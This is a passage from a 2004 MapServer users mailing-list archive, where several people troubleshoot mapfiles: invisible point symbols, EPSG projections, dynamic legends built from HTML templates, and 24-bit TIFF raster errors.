>     CLASS
>       COLOR 255 0 0
>     END
>   END
> 
> Contents of ogr.ovt:
> 
>   
> 
>       
>           ODBC:foo/foo at geosemantica 
>  	  Desc_story 
> 	  wkbPoint 
>           WGS84
> 	   y="Desc_story.story_y"/> 
>       
> 
>   
> 
> Thank you in advance.
> 
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From abehere at cs.ucsd.edu  Thu Jan 29 10:43:39 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Thu, 29 Jan 2004 10:43:39 -0800 (PST)
Subject: [Mapserver-users] Projection Systems question
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B242@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D12203B242@mercator.topozone.com>
Message-ID: 

Hi,
I found a very interesting thing. I did change the contrast so that I can
debug. I can see one teensy tiny tree that moves around if I change the
extent slightly. However I see only that one tree when I should see a
bunch of trees. Also The tree is a very tiny dot on screen. Even if I
change the MINSIZE on the class for the layer it doesnt help the map file
is attached below. Could it be a problem in the shape file (it opens up
fine in ArcView though, thats how I got the extent)

MAP
  IMAGETYPE      PNG
  EXTENT         383778 3760227 389212 3763677
  SIZE           400 300
  SHAPEPATH      "data"
  IMAGECOLOR     0 0 0

PROJECTION
 #   "proj=laea"
  #  "ellps=clrk66"
   # "lat_0=45"
    #"lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  "init=epsg:26911"
  #
  END

  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         vernon_trees
    DATA         vernon_trees
    STATUS       DEFAULT
    TYPE         POINT

    PROJECTION
      "init=epsg:26911"
    END

    CLASS
      COLOR        255 255 255
	MINSIZE      300
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand


On Wed, 28 Jan 2004, Ed McNierney wrote:

> Amit -
>
> Thanks!  First, I notice that you're drawing 10% gray points on a white
> background, which is going to make them pretty hard to see.  You might
> try setting the COLOR in the data layer to 0 128 0 or something
> distinctive while you're debugging.
>
> If you are getting a valid PNG image (no broken link icon) that just is
> all white, then I would double-check the extents you've chosen to see if
> you've gotten them correct.  Since your layer is called vernon_trees,
> and your extents are around Vernon, CA, though, I'm guessing they are
> OK.
>
> 	- Ed
>
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> -----Original Message-----
> From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> Sent: Wednesday, January 28, 2004 11:25 PM
> To: Ed McNierney
> Cc: Amit S BEHERE; mapserver-users at lists.gis.umn.edu;
> amitbehere at rediffmail.com
> Subject: RE: [Mapserver-users] Projection Systems question
>
> Hi
> I am sorry for not mentioning the problem correctly. Well, I am getting
> a PNG back but it is blank. I have a test.map file and I use the
> following url http://pune.com/mapserver/mapserv.exe?map=location of my
> .map
> file+mode=map. i.e I am using the same parameters as are being used in
> examples.
>
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just
> changes the rules"......Vishwanathan Anand
>
>
> On Wed, 28 Jan 2004, Ed McNierney wrote:
>
> > Amit -
> >
> > You didn't say what the problem is.  What is happening (or not
> > happening) when you try to generate a map from this mapfile?  What is
> > the URL you're using (i.e. what CGI parameters are you specifying)?
> >
> > 	- Ed
> >
> > Ed McNierney
> > President and Chief Mapmaker
> > TopoZone.com
> > -----Original Message-----
> > From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> > Sent: Wednesday, January 28, 2004 10:42 PM
> > To: mapserver-users at lists.gis.umn.edu
> > Cc: amitbehere at rediffmail.com
> > Subject: [Mapserver-users] Projection Systems question
> >
> > Hi all,
> >
> > I am having the following problem. I have a shapefile with the data in
>
> > projection system 1983_UTM_Zone_11N. I am trying to set up a layer in
> > mapserver using this shape file. I took the example1.map file in the
> > tutorial and made changes to it. The salient ones being
> >
> > changing the extent to the correct coordinates (found via ArcView)
> > changing the projection to init epsg: 26911 (for UTM Zone 11 N) and
> > changing the name and data setting for layer.
> > I also changed the type to point and set minsize to be 20.
> >
> > I am also appending the mapfile. Can some one tell me what I am doing
> > wrong ? Thanks in advance
> >
> > MAP
> >   IMAGETYPE      PNG
> >   EXTENT         385538 3761010 391329 3764477
> >   SIZE           400 300
> >   SHAPEPATH      "data"
> >   IMAGECOLOR     255 255 255
> >
> >
> > PROJECTION
> >  #   "proj=laea"
> >   #  "ellps=clrk66"
> >    # "lat_0=45"
> >     #"lon_0=-100"
> >   #
> >   # Alternatively, you can specify an EPSG code.
> >   "init=epsg:26911"
> >   #
> >   END
> >
> >   # Start of LAYER DEFINITIONS
> > ---------------------------------------------
> >   LAYER # States polygon layer begins here
> >     NAME         vernon_trees
> >     DATA         vernon_trees
> >     STATUS       DEFAULT
> >     TYPE         POINT
> >
> >     PROJECTION
> >       "init=epsg:26911"
> >     END
> >
> >     CLASS
> >       COLOR        232 232 232
> > 	MINSIZE      20
> >     END
> >   END # States polygon layer ends here
> >   # End of LAYER DEFINITIONS -------------------------------
> >
> > END # end of map file/object
> >
> > Amit Behere.
> > UCSD.
> > "Technology doesn't make your life more difficult or easy, it just
> > changes the rules"......Vishwanathan Anand
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


From gleinerteruel at hotmail.com  Thu Jan 29 10:32:07 2004
From: gleinerteruel at hotmail.com (Gleiner Crivelini)
Date: Thu, 29 Jan 2004 18:32:07 +0000
Subject: [Mapserver-users] Changing map file parameters via URL
Message-ID: 


Hi everyone.


Does anybody know how exactly is the syntax for changing map file parameters via URL?


In fact I'm trying to modify the DATA map file-clause, which I need to query a table to retrieve all the points inside a pair of coordinates and seems to me that the sql-clause "from" must be the name of the layer and not a tablename, is that possible?


That?s why I'd like to know the exact syntax.


Thanks for any (and every) word.


Gleiner


 

MSN Messenger: converse com os seus amigos online.  Instale gr?tis. Clique aqui.  


From David.Fawcett at state.mn.us  Thu Jan 29 11:06:20 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Thu, 29 Jan 2004 13:06:20 -0600
Subject: [Mapserver-users] Projection Systems question
Message-ID: 

Amit, 

I don't know about your issue with only one data item showing up, but
if you add a SIZE entry to your class  (e.g. SIZE 12), your dot will be
bigger.  The default size is one pixel.

David.

David J. Fawcett
MN Office of Environmental Assistance

>>> Amit S BEHERE  1/29/2004 12:43:39 PM >>>
Hi,
I found a very interesting thing. I did change the contrast so that I
can
debug. I can see one teensy tiny tree that moves around if I change
the
extent slightly. However I see only that one tree when I should see a
bunch of trees. Also The tree is a very tiny dot on screen. Even if I
change the MINSIZE on the class for the layer it doesnt help the map
file
is attached below. Could it be a problem in the shape file (it opens
up
fine in ArcView though, thats how I got the extent)

MAP
  IMAGETYPE      PNG
  EXTENT         383778 3760227 389212 3763677
  SIZE           400 300
  SHAPEPATH      "data"
  IMAGECOLOR     0 0 0

PROJECTION
 #   "proj=laea"
  #  "ellps=clrk66"
   # "lat_0=45"
    #"lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  "init=epsg:26911"
  #
  END

  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         vernon_trees
    DATA         vernon_trees
    STATUS       DEFAULT
    TYPE         POINT

    PROJECTION
      "init=epsg:26911"
    END

    CLASS
      COLOR        255 255 255
	MINSIZE      300
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just
changes
the rules"......Vishwanathan Anand


On Wed, 28 Jan 2004, Ed McNierney wrote:

> Amit -
>
> Thanks!  First, I notice that you're drawing 10% gray points on a
white
> background, which is going to make them pretty hard to see.  You
might
> try setting the COLOR in the data layer to 0 128 0 or something
> distinctive while you're debugging.
>
> If you are getting a valid PNG image (no broken link icon) that just
is
> all white, then I would double-check the extents you've chosen to see
if
> you've gotten them correct.  Since your layer is called
vernon_trees,
> and your extents are around Vernon, CA, though, I'm guessing they
are
> OK.
>
> 	- Ed
>
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> -----Original Message-----
> From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] 
> Sent: Wednesday, January 28, 2004 11:25 PM
> To: Ed McNierney
> Cc: Amit S BEHERE; mapserver-users at lists.gis.umn.edu;
> amitbehere at rediffmail.com 
> Subject: RE: [Mapserver-users] Projection Systems question
>
> Hi
> I am sorry for not mentioning the problem correctly. Well, I am
getting
> a PNG back but it is blank. I have a test.map file and I use the
> following url http://pune.com/mapserver/mapserv.exe?map=location of
my
> .map
> file+mode=map. i.e I am using the same parameters as are being used
in
> examples.
>
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just
> changes the rules"......Vishwanathan Anand
>
>
> On Wed, 28 Jan 2004, Ed McNierney wrote:
>
> > Amit -
> >
> > You didn't say what the problem is.  What is happening (or not
> > happening) when you try to generate a map from this mapfile?  What
is
> > the URL you're using (i.e. what CGI parameters are you
specifying)?
> >
> > 	- Ed
> >
> > Ed McNierney
> > President and Chief Mapmaker
> > TopoZone.com
> > -----Original Message-----
> > From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] 
> > Sent: Wednesday, January 28, 2004 10:42 PM
> > To: mapserver-users at lists.gis.umn.edu 
> > Cc: amitbehere at rediffmail.com 
> > Subject: [Mapserver-users] Projection Systems question
> >
> > Hi all,
> >
> > I am having the following problem. I have a shapefile with the data
in
>
> > projection system 1983_UTM_Zone_11N. I am trying to set up a layer
in
> > mapserver using this shape file. I took the example1.map file in
the
> > tutorial and made changes to it. The salient ones being
> >
> > changing the extent to the correct coordinates (found via ArcView)
> > changing the projection to init epsg: 26911 (for UTM Zone 11 N)
and
> > changing the name and data setting for layer.
> > I also changed the type to point and set minsize to be 20.
> >
> > I am also appending the mapfile. Can some one tell me what I am
doing
> > wrong ? Thanks in advance
> >
> > MAP
> >   IMAGETYPE      PNG
> >   EXTENT         385538 3761010 391329 3764477
> >   SIZE           400 300
> >   SHAPEPATH      "data"
> >   IMAGECOLOR     255 255 255
> >
> >
> > PROJECTION
> >  #   "proj=laea"
> >   #  "ellps=clrk66"
> >    # "lat_0=45"
> >     #"lon_0=-100"
> >   #
> >   # Alternatively, you can specify an EPSG code.
> >   "init=epsg:26911"
> >   #
> >   END
> >
> >   # Start of LAYER DEFINITIONS
> > ---------------------------------------------
> >   LAYER # States polygon layer begins here
> >     NAME         vernon_trees
> >     DATA         vernon_trees
> >     STATUS       DEFAULT
> >     TYPE         POINT
> >
> >     PROJECTION
> >       "init=epsg:26911"
> >     END
> >
> >     CLASS
> >       COLOR        232 232 232
> > 	MINSIZE      20
> >     END
> >   END # States polygon layer ends here
> >   # End of LAYER DEFINITIONS -------------------------------
> >
> > END # end of map file/object
> >
> > Amit Behere.
> > UCSD.
> > "Technology doesn't make your life more difficult or easy, it just
> > changes the rules"......Vishwanathan Anand
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu 
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> >
> >
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
>
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From bjh at globexplorer.com  Thu Jan 29 11:15:30 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 11:15:30 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <001701c3e685$14633270$2441c180@oce.orst.edu>
References: <001701c3e685$14633270$2441c180@oce.orst.edu>
Message-ID: <40195BD2.4040204@globexplorer.com>

I tried that one and all the possible combinations (and their sum).
Nothing works.

Thanks,
Jean


Matt Doggett wrote:

>I believe HTML legends will do the trick. In the legend_template.html
>file you could specify [leg_class_html opt_flag=12] for example. see the
>HTML legend How-To for more details about the opt_flag bit mask.
>
>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>
>MD
>
>  
>
>>-----Original Message-----
>>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>Sent: Wednesday, January 28, 2004 8:12 PM
>>To: mapserver-users at lists.gis.umn.edu
>>Subject: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>Hi,
>>Is there a way to have the legend dynamically show only the classes of
>>    
>>
>a
>  
>
>>layer actually
>>shown in a map (not the whole defined set in the mapfile)?
>>
>>Jean
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>    
>>
>
>
>  
>



From bjh at globexplorer.com  Thu Jan 29 11:18:35 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 11:18:35 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: 
References: 
Message-ID: <40195C8B.4090303@globexplorer.com>

Hi,
I was afraid to get this kind of answer, but it seems that you are right
(still hoping I miss something here and a quick way to fix this will
somehow surface unexpectedly :-)

If I'll find something I will share with the list, of course :-)

Thanks,
Jean



Liz Godwin wrote:

>I don't think actually that this is possible, at least not in the
>current release.  
>
>The legend will show all classes that are capable of being drawn,
>regardless of wether they are actually visible or not.  That is to say,
>the opt_flags WILL allow you to specify to include layers/classes that
>are within the scale (set min and max values) and if the layer is being
>drawn (status IN/OFF/DEFAULT).
>
>I have seen postings in the past referring to this, and ways around it,
>but they all involve some mapscript of some sort.
>
>If you do find an easy/rather quick way, be sure to share it with the
>list.  I am sure there are many that would interested in finding a
>solution, I know I am.
>
>Liz Godwin
>
>  
>
>>>>"Matt Doggett"  01/29/04 11:29AM
>>>>
>>>>        
>>>>
>I believe HTML legends will do the trick. In the legend_template.html
>file you could specify [leg_class_html opt_flag=12] for example. see
>the
>HTML legend How-To for more details about the opt_flag bit mask.
>
>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html 
>
>MD
>
>  
>
>>-----Original Message-----
>>From: mapserver-users-admin at lists.gis.umn.edu
>>    
>>
>[mailto:mapserver-users-
>  
>
>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>Sent: Wednesday, January 28, 2004 8:12 PM
>>To: mapserver-users at lists.gis.umn.edu 
>>Subject: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>Hi,
>>Is there a way to have the legend dynamically show only the classes
>>    
>>
>of
>a
>  
>
>>layer actually
>>shown in a map (not the whole defined set in the mapfile)?
>>
>>Jean
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu 
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
>>    
>>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu 
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>



From abehere at cs.ucsd.edu  Thu Jan 29 11:17:39 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Thu, 29 Jan 2004 11:17:39 -0800 (PST)
Subject: [Mapserver-users] Projection Systems question
In-Reply-To: 
References: 
Message-ID: 

Hi
Well I changed the size parameter but the dot remains the same size. So I
thought it was maybe just some noise (??) returned to me and not an tree.
But it does move when I change the extent.


Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand


On Thu, 29 Jan 2004, David Fawcett wrote:

> Amit,
>
> I don't know about your issue with only one data item showing up, but
> if you add a SIZE entry to your class  (e.g. SIZE 12), your dot will be
> bigger.  The default size is one pixel.
>
> David.
>
> David J. Fawcett
> MN Office of Environmental Assistance
>
> >>> Amit S BEHERE  1/29/2004 12:43:39 PM >>>
> Hi,
> I found a very interesting thing. I did change the contrast so that I
> can
> debug. I can see one teensy tiny tree that moves around if I change
> the
> extent slightly. However I see only that one tree when I should see a
> bunch of trees. Also The tree is a very tiny dot on screen. Even if I
> change the MINSIZE on the class for the layer it doesnt help the map
> file
> is attached below. Could it be a problem in the shape file (it opens
> up
> fine in ArcView though, thats how I got the extent)
>
> MAP
>   IMAGETYPE      PNG
>   EXTENT         383778 3760227 389212 3763677
>   SIZE           400 300
>   SHAPEPATH      "data"
>   IMAGECOLOR     0 0 0
>
> PROJECTION
>  #   "proj=laea"
>   #  "ellps=clrk66"
>    # "lat_0=45"
>     #"lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   "init=epsg:26911"
>   #
>   END
>
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
>   LAYER # States polygon layer begins here
>     NAME         vernon_trees
>     DATA         vernon_trees
>     STATUS       DEFAULT
>     TYPE         POINT
>
>     PROJECTION
>       "init=epsg:26911"
>     END
>
>     CLASS
>       COLOR        255 255 255
> 	MINSIZE      300
>     END
>   END # States polygon layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
>
> END # end of map file/object
>
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just
> changes
> the rules"......Vishwanathan Anand
>
>
> On Wed, 28 Jan 2004, Ed McNierney wrote:
>
> > Amit -
> >
> > Thanks!  First, I notice that you're drawing 10% gray points on a
> white
> > background, which is going to make them pretty hard to see.  You
> might
> > try setting the COLOR in the data layer to 0 128 0 or something
> > distinctive while you're debugging.
> >
> > If you are getting a valid PNG image (no broken link icon) that just
> is
> > all white, then I would double-check the extents you've chosen to see
> if
> > you've gotten them correct.  Since your layer is called
> vernon_trees,
> > and your extents are around Vernon, CA, though, I'm guessing they
> are
> > OK.
> >
> > 	- Ed
> >
> >
> > Ed McNierney
> > President and Chief Mapmaker
> > TopoZone.com
> > -----Original Message-----
> > From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> > Sent: Wednesday, January 28, 2004 11:25 PM
> > To: Ed McNierney
> > Cc: Amit S BEHERE; mapserver-users at lists.gis.umn.edu;
> > amitbehere at rediffmail.com
> > Subject: RE: [Mapserver-users] Projection Systems question
> >
> > Hi
> > I am sorry for not mentioning the problem correctly. Well, I am
> getting
> > a PNG back but it is blank. I have a test.map file and I use the
> > following url http://pune.com/mapserver/mapserv.exe?map=location of
> my
> > .map
> > file+mode=map. i.e I am using the same parameters as are being used
> in
> > examples.
> >
> > Amit Behere.
> > UCSD.
> > "Technology doesn't make your life more difficult or easy, it just
> > changes the rules"......Vishwanathan Anand
> >
> >
> > On Wed, 28 Jan 2004, Ed McNierney wrote:
> >
> > > Amit -
> > >
> > > You didn't say what the problem is.  What is happening (or not
> > > happening) when you try to generate a map from this mapfile?  What
> is
> > > the URL you're using (i.e. what CGI parameters are you
> specifying)?
> > >
> > > 	- Ed
> > >
> > > Ed McNierney
> > > President and Chief Mapmaker
> > > TopoZone.com
> > > -----Original Message-----
> > > From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> > > Sent: Wednesday, January 28, 2004 10:42 PM
> > > To: mapserver-users at lists.gis.umn.edu
> > > Cc: amitbehere at rediffmail.com
> > > Subject: [Mapserver-users] Projection Systems question
> > >
> > > Hi all,
> > >
> > > I am having the following problem. I have a shapefile with the data
> in
> >
> > > projection system 1983_UTM_Zone_11N. I am trying to set up a layer
> in
> > > mapserver using this shape file. I took the example1.map file in
> the
> > > tutorial and made changes to it. The salient ones being
> > >
> > > changing the extent to the correct coordinates (found via ArcView)
> > > changing the projection to init epsg: 26911 (for UTM Zone 11 N)
> and
> > > changing the name and data setting for layer.
> > > I also changed the type to point and set minsize to be 20.
> > >
> > > I am also appending the mapfile. Can some one tell me what I am
> doing
> > > wrong ? Thanks in advance
> > >
> > > MAP
> > >   IMAGETYPE      PNG
> > >   EXTENT         385538 3761010 391329 3764477
> > >   SIZE           400 300
> > >   SHAPEPATH      "data"
> > >   IMAGECOLOR     255 255 255
> > >
> > >
> > > PROJECTION
> > >  #   "proj=laea"
> > >   #  "ellps=clrk66"
> > >    # "lat_0=45"
> > >     #"lon_0=-100"
> > >   #
> > >   # Alternatively, you can specify an EPSG code.
> > >   "init=epsg:26911"
> > >   #
> > >   END
> > >
> > >   # Start of LAYER DEFINITIONS
> > > ---------------------------------------------
> > >   LAYER # States polygon layer begins here
> > >     NAME         vernon_trees
> > >     DATA         vernon_trees
> > >     STATUS       DEFAULT
> > >     TYPE         POINT
> > >
> > >     PROJECTION
> > >       "init=epsg:26911"
> > >     END
> > >
> > >     CLASS
> > >       COLOR        232 232 232
> > > 	MINSIZE      20
> > >     END
> > >   END # States polygon layer ends here
> > >   # End of LAYER DEFINITIONS -------------------------------
> > >
> > > END # end of map file/object
> > >
> > > Amit Behere.
> > > UCSD.
> > > "Technology doesn't make your life more difficult or easy, it just
> > > changes the rules"......Vishwanathan Anand
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list
> > > Mapserver-users at lists.gis.umn.edu
> > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > >
> > >
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>


From Richard.Pierce at mail.state.ar.us  Thu Jan 29 11:21:52 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Thu, 29 Jan 2004 13:21:52 -0600
Subject: [Mapserver-users] 24bit Raster Image
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E69D.261A24CC
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

I am trying to add a 24bit raster image to my map without any success.
I get an error like this:

=20

msDrawRaster(): Image handling error. Unrecognized or unsupported image
format=20
drawEPP(): Image handling error.
c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not an
EPPL file.

=20

I browsed the archives and saw some mention of a bug and having to
re-sample it down to an 8bit image.  I was wondering if there has been
fixes found for this error.  I would prefer not to create 8bit images
for a state wide ortho set (server space being limited).   Any help
would be great.  Thanks

=20

Richie Pierce

GIS Cadastral Specialist

Arkansas Geographic Information Office

124 W. Capitol St.

Little Rock, AR 72201

(w) 501-682-2937

(c) 501-416-CAMP

www.gis.state.ar.us

=20


------_=_NextPart_001_01C3E69D.261A24CC
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

















I am trying to add a 24bit raster image to my map =
without
any success.  I get an error like this:



 



msDrawRaster(): Image handling error. Unrecognized or =
unsupported image
format 

drawEPP(): Image handling error.
c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not an =
EPPL
file.



 



I browsed the archives and saw some mention of a bug and having =
to
re-sample it down to an 8bit image.  I was wondering if there has =
been fixes
found for this error.  I would prefer not to create 8bit images for =
a
state wide ortho set (server space being limited).   Any help =
would
be great.  Thanks



 



Richie Pierce



GIS Cadastral Specialist



Arkansas Geographic Information =
Office



124 W. Capitol =
St.



Little Rock, AR 72201



(w) 501-682-2937



(c) 501-416-CAMP



www.gis.state.ar.us


 








=00
------_=_NextPart_001_01C3E69D.261A24CC--


From warmerdam at pobox.com  Thu Jan 29 12:26:11 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 29 Jan 2004 15:26:11 -0500
Subject: [Mapserver-users] 24bit Raster Image
In-Reply-To: 
References: 
Message-ID: <40196C63.40506@pobox.com>

Richie Pierce wrote:
> I am trying to add a 24bit raster image to my map without any success.  
> I get an error like this:
> 
>  
> 
> msDrawRaster(): Image handling error. Unrecognized or unsupported image 
> format
> drawEPP(): Image handling error. 
> c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not an 
> EPPL file.
> 
>  
> 
> I browsed the archives and saw some mention of a bug and having to 
> re-sample it down to an 8bit image.  I was wondering if there has been 
> fixes found for this error.  I would prefer not to create 8bit images 
> for a state wide ortho set (server space being limited).   Any help 
> would be great.  Thanks

Richie,

The most likely reason you would get this error is if your mapserver
is built without TIFF or GDAL support.  Can you report your "mapserv -v"
output? Does the file work fine with other imaging apps?

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From eric at gomoos.org  Thu Jan 29 12:28:26 2004
From: eric at gomoos.org (Eric Bridger)
Date: 29 Jan 2004 15:28:26 -0500
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <40195C8B.4090303@globexplorer.com>
References:   <40195C8B.4090303@globexplorer.com>
Message-ID: <1075408113.1515.31.camel@ubet.gomoos.org>

One option, which I've used quite a bit in Perl mapscript 3.6, but which
could be done using cgi is to set the CLASS NAME to the null string.
This prevents the class from being displayed in the legend.
Not sure of the syntax but something like:
/cgi-bin/mapserv?layer_0_class_0_name=&
might work.  

On Thu, 2004-01-29 at 14:18, Jean-Henry Berevoescu wrote:
> 
> Hi,
> I was afraid to get this kind of answer, but it seems that you are right
> (still hoping I miss something here and a quick way to fix this will
> somehow surface unexpectedly :-)
> 
> If I'll find something I will share with the list, of course :-)
> 
> Thanks,
> Jean
> 
> 
> 
> Liz Godwin wrote:
> 
> >I don't think actually that this is possible, at least not in the
> >current release.  
> >
> >The legend will show all classes that are capable of being drawn,
> >regardless of wether they are actually visible or not.  That is to say,
> >the opt_flags WILL allow you to specify to include layers/classes that
> >are within the scale (set min and max values) and if the layer is being
> >drawn (status IN/OFF/DEFAULT).
> >
> >I have seen postings in the past referring to this, and ways around it,
> >but they all involve some mapscript of some sort.
> >
> >If you do find an easy/rather quick way, be sure to share it with the
> >list.  I am sure there are many that would interested in finding a
> >solution, I know I am.
> >
> >Liz Godwin
> >
> >  
> >
> >>>>"Matt Doggett"  01/29/04 11:29AM
> >>>>
> >>>>        
> >>>>
> >I believe HTML legends will do the trick. In the legend_template.html
> >file you could specify [leg_class_html opt_flag=12] for example. see
> >the
> >HTML legend How-To for more details about the opt_flag bit mask.
> >
> >http://mapserver.gis.umn.edu/doc40/html-legend-howto.html 
> >
> >MD
> >
> >  
> >
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu
> >>    
> >>
> >[mailto:mapserver-users-
> >  
> >
> >>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
> >>Sent: Wednesday, January 28, 2004 8:12 PM
> >>To: mapserver-users at lists.gis.umn.edu 
> >>Subject: [Mapserver-users] Q: Dynamic Legends
> >>
> >>
> >>Hi,
> >>Is there a way to have the legend dynamically show only the classes
> >>    
> >>
> >of
> >a
> >  
> >
> >>layer actually
> >>shown in a map (not the whole defined set in the mapfile)?
> >>
> >>Jean
> >>
> >>_______________________________________________
> >>Mapserver-users mailing list
> >>Mapserver-users at lists.gis.umn.edu 
> >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> >>    
> >>
> >
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu 
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >  
> >
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From Daniel.A.Martin at erac.com  Thu Jan 29 12:29:42 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 29 Jan 2004 14:29:42 -0600
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CD1@STL-EXBE-I03.corp.erac.com>

Do you mean layers that are on, and within range, but are not visible
because of your current location?  I don't believe that is possible.
However, the default is to hide layers that are not visible or have a
status of OFF.  However, if you have layers that have a status of
DEFAULT, then those are going to show no matter what.

Am I misunderstanding you?

-Dan

> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Jean-Henry Berevoescu
> Sent: Thursday, January 29, 2004 1:16 PM
> To: mdoggett at coas.oregonstate.edu
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Q: Dynamic Legends
> 
> 
> 
> I tried that one and all the possible combinations (and their 
> sum). Nothing works.
> 
> Thanks,
> Jean
> 
> 
> Matt Doggett wrote:
